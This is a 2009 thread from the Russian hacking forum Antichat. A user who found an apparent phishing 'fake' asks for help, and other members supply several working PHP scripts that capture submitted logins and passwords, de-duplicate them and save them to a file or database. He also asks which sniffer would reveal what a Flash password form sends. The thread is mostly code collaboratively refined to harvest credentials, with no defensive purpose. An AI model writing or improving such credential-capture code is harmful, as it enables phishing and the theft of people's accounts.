Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

21.07.2009, 18:52
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
PHP код:
<?php
if (isset($_POST['var_1']) && isset($_POST['var_2']))
{
$link = @mysql_connect('localhost' , 'user' , 'login') or die('Такие вот пироги!');
$db_selected = @mysql_select_db('database', $link) or die('Такие вот пироги!');
$query = 'SELECT COUNT(*) FROM table WHERE var_1="' . mysql_escape_string($_POST['var_1']) . '" AND var_2="' . mysql_escape_string($_POST['var_2']) . '"';
$result = mysql_query($query);
$fetch = mysql_fetch_row($result);
if ($fetch[0] == '0')
{
mysql_query('INSERT INTO table SET var_1="' . mysql_escape_string($_POST['var_1']) . '", var_2="' . mysql_escape_string($_POST['var_2']) . '"');
}
}
?>
где-то так
|
|
|

21.07.2009, 20:20
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
Спасибо за совет. А вот если я так реализовал, чтобы в базу не записывать нашел пример фейка там все пишется в файл:
PHP код:
<?PHP
$Login = $_POST['login']; // Логин
$Psw = $_POST['psw']; // Пароль
// надо организовать проверку того, что есть уже в базе
$log = fopen("password.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Psw \n"); //записываем всё
fclose($log); //закрываем
?>
можно так проверить?
|
|
|

21.07.2009, 20:33
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
PHP код:
<?php
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if ($items[$i] == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database,"\r\n" . $item);
fclose($database);
} else {
echo('В базе есть!');
}
?>
где-то так
Последний раз редактировалось FireFenix; 21.07.2009 в 20:40..
|
|
|

21.07.2009, 20:41
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
Спасибо конечно, но че-то не хочет работать как надо)
|
|
|

21.07.2009, 20:50
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
все заработало, это я в delphi чуток не так посылал запрос. Спасибо еще раз. И еще можно вопрос по поводу Flash. Если есть форма по отправке пароля реализованная на флэш каким сниффером лучше узнать что он отправляет? Посоветуйте.
|
|
|

21.07.2009, 21:40
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
В общем не так работает как надо) Все равно пропускает одинаковые значения. обидно(
|
|
|

21.07.2009, 21:59
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
А как сделать, чтобы каждый новый параметр, т.е. логин:пароль писались с новой строчки?
|
|
|

21.07.2009, 22:08
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
смотря чем ты просматриваешь, некоторым редактором нужно возврат каретки + перенос строки, неотокрым хватает только переноса строки => используй (замени) для переноса "\r\n" или "\n"
PHP код:
<?php
$delimetr = "\n"; //или "\r\n"
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if (str_replace($delimetr, '', $items[$i]) == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database, $item . $delimetr);
fclose($database);
} else {
echo('В базе есть!');
}
?>
Последний раз редактировалось FireFenix; 21.07.2009 в 22:20..
|
|
|

21.07.2009, 22:21
|
|
Познающий
Регистрация: 03.03.2009
Сообщений: 86
Провел на форуме: 994199
Репутация:
258
|
|
2 fastiktut
PHP код:
<?php
$file="file.dat";
$pass=$_GET['pass'];
$log=$_GET['log'];
$res=$log.";".$pass;
fclose(fopen($file,"a+b"));
$f=fopen($file,"a+t");
flock($f,LOCK_EX);
$wr=$res."\n";
while(!feof($f)){
$line=fgets($f);
$ar[]=$line;
}
function search($text, $var)
{
foreach ($var as $val)
{
if (is_array($val) && search($text, $val)) return true;
elseif ($val==$text) return true;
}
return false;
}
$se=search($wr,$ar);
if($se == TRUE){
echo "Error";
}
else {
$wr_res=fwrite($f,$wr);
if($wr_res !== FALSE){
echo "write";
}
else{
echo "recording error";
}
}
?>
|
|
|

22.07.2009, 17:22
|
|
Участник форума
Регистрация: 14.12.2008
Сообщений: 140
Провел на форуме: 186812
Репутация:
14
|
|
помогите плиз с траблой
Последний раз редактировалось alwex; 22.07.2009 в 17:32..
|
|
|
|
 |
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|